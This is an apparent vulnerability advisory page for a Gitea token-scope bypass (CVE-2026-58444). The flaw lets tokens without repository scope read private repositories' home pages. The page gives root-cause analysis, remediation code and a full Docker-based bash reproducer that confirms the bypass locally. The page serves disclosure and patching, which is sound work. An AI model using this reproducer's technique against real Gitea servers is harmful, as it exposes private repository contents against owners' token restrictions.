Your RSA-2048 keys break in 2030. Find every one of them before attackers do.
🐹
🐹 Go
Not in CISA KEV
MEDIUM severity

CVE-2026-58444 — gitea

MEDIUM

CVE-2026-58444 is a medium-severity (CVSS 4.3) CWE-863 vulnerability in code.gitea.io/gitea. A fix is available for code.gitea.io/gitea — see the affected versions and patch details below.

Personal access token scope enforcement bypass on the repository home page (`GET /{owner}/{repo}`) discloses private repository contents

Also known asGHSA-cp3q-vrj2-ghhhGO-2026-6050
Published
Updated
Affected
1 pkg
Patched
1 / 1
Exploits
None indexed
Exploitation data as of Oct 11, 2026 · OSV.dev, NVD, FIRST.org (EPSS)

EPSS Exploitation Probability

via FIRST.org ↗
0.4%probability of exploitation in next 30 days
Lower Risk0.00%
Lower risk than most CVEs28th percentile — riskier than 28% of all scored CVEsHighest risk
0.00%0.29%0.57%0.86%0.2%0.4%0.4%Sep 26Oct 26Oct 26

Probability of exploitation in the next 30 days, from FIRST.org EPSS.

How urgent is this, really

CVE-2026-58444 by exploitation likelihood (EPSS) against impact (CVSS). Outside the shaded patch-first corner.

Where this sits among everything scored

Of 385,987 CVEs with a current EPSS score, this one falls in the < 10% band (highlighted). Counts from FIRST.org, log-scaled.

Real-World Exposure

1 pkg affected
🐹code.gitea.io/gitea

Real-time download stats are indexed for npm and PyPI packages. This vulnerability affects Go packages — download data is not available via public APIs for these ecosystems.

Description

Summary

A personal access token (PAT) or OAuth2 token that does not carry the repository scope or that is public-only is correctly rejected (HTTP 403) by the recently hardened web content routes (archive download, raw/media file download, and repository RSS/Atom feeds). However, the repository home page route GET /{owner}/{repo} (handler repo.Home) serves the private repository's rendered README, root file/directory tree, description, language statistics, license, and latest-release information to that same token.

This is a token-scope enforcement bypass and private-repository content disclosure. It is the same source→sink pattern already fixed for neighbouring routes in:

  • GHSA-cr4g-f395-h25h (CVE-2026-20706) token scope bypass on web archive download
  • GHSA-3pww-vcvm-3gmj (CVE-2026-27761) token scope bypass on repository RSS/Atom feeds

repo.Home is the remaining token-auth-enabled content route that was not given the guard.

Details / Root cause

Web routes accept token authentication only when explicitly opted in with webAuth.AllowBasic / webAuth.AllowOAuth2. The repository home route carries AllowBasic (added so that go get can resolve private modules):

// routers/web/web.go:1256
m.Get("/{username}/{reponame}", optSignIn, webAuth.AllowBasic,
      context.RepoAssignment, context.RepoRefByType(git.RefTypeBranch),
      repo.SetEditorconfigIfExists, repo.Home)

When a PAT/OAuth2 token is supplied via HTTP Basic auth, services/auth/basic.go sets IsApiToken = true and records ApiTokenScope:

// services/auth/basic.go
store.GetData()["IsApiToken"] = true
store.GetData()["ApiTokenScope"] = token.Scope

The patched sibling handlers all call the web-side scope guard context.CheckRepoScopedToken(...), which enforces both the public-only restriction and the repository scope:

routers/web/repo/download.go:23     (raw / media / archive)  ← GHSA-cr4g
routers/web/feed/render.go:15       (all repo feeds)         ← GHSA-3pww
routers/web/repo/attachment.go:190  (attachments / release assets, centralized)
routers/web/repo/githttp.go:161     (git smart HTTP)         ← GHSA-cc8w

repo.Home (routers/web/repo/view_home.go:389) performs no such check. Its only gate is checkHomeCodeViewable, which verifies the user's permission and that the code unit is enabled neither of which constrains the token's scope. The README, file listing, and sidebar are then rendered. (The handleRepoHomeFeed sub-path is guarded via ShowRepoFeed, but the HTML repo view is not.)

Proof of Concept

Reproduced against gitea/gitea:main-nightly (build g2e1be0b114, identical to the source commit above). A private repository admin/secretrepo is created, and a token is minted with only the read:user scope (no repository scope).

=== anonymous baseline (repository is private) ===
  anon GET /admin/secretrepo                       HTTP=404
=== same no-repo-scope token across routes ===
  API repo get (proves token lacks repo scope)     HTTP=403 canary=0
  /admin/secretrepo/archive/main.zip  (control)    HTTP=403 canary=0
  /admin/secretrepo/raw/branch/main/README.md      HTTP=403 canary=0
  /admin/secretrepo.rss               (control)    HTTP=403 canary=0
  /admin/secretrepo  (repo.Home, VULN)             HTTP=200 canary=1

A second token with scope public-only,read:repository behaves identically: /archive → 403, but /admin/secretrepo → 200 and returns the private content.

canary=1 means the private README marker was returned in the HTML response; the private file name SECRET.md is also disclosed in the rendered file tree.

Full self-contained reproducer (Docker, prints a PASS/FAIL verdict):

#!/usr/bin/env bash
set -euo pipefail
N=gitea-poc; PW='Adm1n!pass99'; CANARY='TOP-SECRET-CANARY-9F3A2'
docker rm -f $N >/dev/null 2>&1 || true
docker run -d --name $N \
  -e GITEA__security__INSTALL_LOCK=true -e GITEA__database__DB_TYPE=sqlite3 \
  -e GITEA__server__ROOT_URL=http://localhost:3000/ \
  -e GITEA__service__DISABLE_REGISTRATION=true \
  -p 3000:3000 gitea/gitea:main-nightly >/dev/null
for i in $(seq 1 40); do
  [ "$(curl -s -o /dev/null -w '%{http_code}' http://localhost:3000/api/healthz)" = 200 ] && break; sleep 2; done
docker exec -u git $N gitea admin user create --admin --username admin \
  --password "$PW" --email [email protected] --must-change-password=false >/dev/null
curl -s -u admin:"$PW" -X POST http://localhost:3000/api/v1/user/repos \
  -H 'Content-Type: application/json' \
  -d '{"name":"secretrepo","private":true,"auto_init":true,"default_branch":"main"}' >/dev/null
SHA=$(curl -s -u admin:"$PW" http://localhost:3000/api/v1/repos/admin/secretrepo/contents/README.md \
  | python3 -c "import json,sys;print(json.load(sys.stdin)['sha'])")
curl -s -u admin:"$PW" -X PUT http://localhost:3000/api/v1/repos/admin/secretrepo/contents/README.md \
  -H 'Content-Type: application/json' \
  -d '{"content":"'"$(printf '# %s\nprivate' "$CANARY" | base64)"'","message":"u","sha":"'"$SHA"'","branch":"main"}' >/dev/null
TOK=$(docker exec -u git $N gitea admin user generate-access-token --username admin \
  --scopes read:user --token-name norepo --raw | tail -1)
echo "anon  : $(curl -s -o /dev/null -w '%{http_code}' http://localhost:3000/admin/secretrepo)"
for p in "archive/main.zip" "raw/branch/main/README.md" ".rss" ""; do
  o=$(curl -s -u admin:"$TOK" -w '|%{http_code}' "http://localhost:3000/admin/secretrepo${p:+/}$p")
  echo "/$p -> ${o##*|}  canary=$(printf '%s' "$o" | grep -c "$CANARY" || true)"
done
echo "PASS if controls=403/404 and repo.Home (last line)=200 canary=1"
docker rm -f $N >/dev/null

Impact

Any holder of a non-repository-scoped or public-only token belonging to a user who has access to private repositories can read those repositories' README, root file/directory listing, description, languages, license, and latest release content the token was explicitly scoped to be unable to read. This defeats the purpose of fine-grained and public-only tokens (for example a CI token granted only read:issue, or a public-only token issued to a third-party integration).

The disclosure is bounded to the repository root view because the deeper /{owner}/{repo}/src/* routes do not enable AllowBasic.

Suggested remediation

Mirror the sibling handlers: at the start of repo.Home (routers/web/repo/view_home.go), or as route middleware on routers/web/web.go:1256, add:

context.CheckRepoScopedToken(ctx, ctx.Repo.Repository, auth_model.Read)
if ctx.Written() {
    return
}

It is also worth auditing the other AllowBasic/AllowOAuth2 web routes that render repository data for the same omission notably actions.GetWorkflowBadge (routers/web/web.go:1568), which currently exposes a private repository's workflow build status (pass/fail) to a token without the repository scope (lower impact, possibly intended since badges are designed to be embeddable, but worth confirming).

Affected Packages

1 total 1 fixed
EcosystemPackageVulnerable rangeFix
🐹Gocode.gitea.io/giteaall versions1.27.0go get code.gitea.io/gitea@v1.27.0

Detection & mitigation playbook

Open-source dependency
  1. Detect

    Scan your dependency tree (package-lock.json, pnpm-lock.yaml, requirements.txt, go.sum, etc.) for code.gitea.io/gitea, including transitive dependencies — a direct dependency you never call can still pull in a vulnerable version.

  2. Fix

    Update code.gitea.io/gitea to 1.27.0 or later, then make sure no transitive (indirect) dependency still pins the vulnerable range — O3 confirms CVE-2026-58444 is resolved across your whole dependency graph.

  3. Workarounds

    Put an independent control in front of the weakness: restrict the affected endpoint or interface to trusted networks, require an additional authentication factor or proxy-level check, and invalidate existing sessions and credentials in case the flaw has already been used.

Frequently Asked Questions

### Summary A personal access token (PAT) or OAuth2 token that does **not** carry the `repository` scope or that is **public-only** is correctly rejected (HTTP 403) by the recently hardened web content routes (archive download, raw/media file download, and repository RSS/Atom feeds). However, the repository home page route `GET /{owner}/{repo}` (handler `repo.Home`) serves the **private** repository's rendered README, root file/directory tree, description, language statistics, license, and latest-release information to that same token. This is a token-scope enforcement bypass and private-repo
O3 Security · Impact-Aware SCA

Is CVE-2026-58444 in your dependencies?

Find it across Go, including transitive dependencies.

CVE-2026-58444: gitea — Fixed in 1.27.0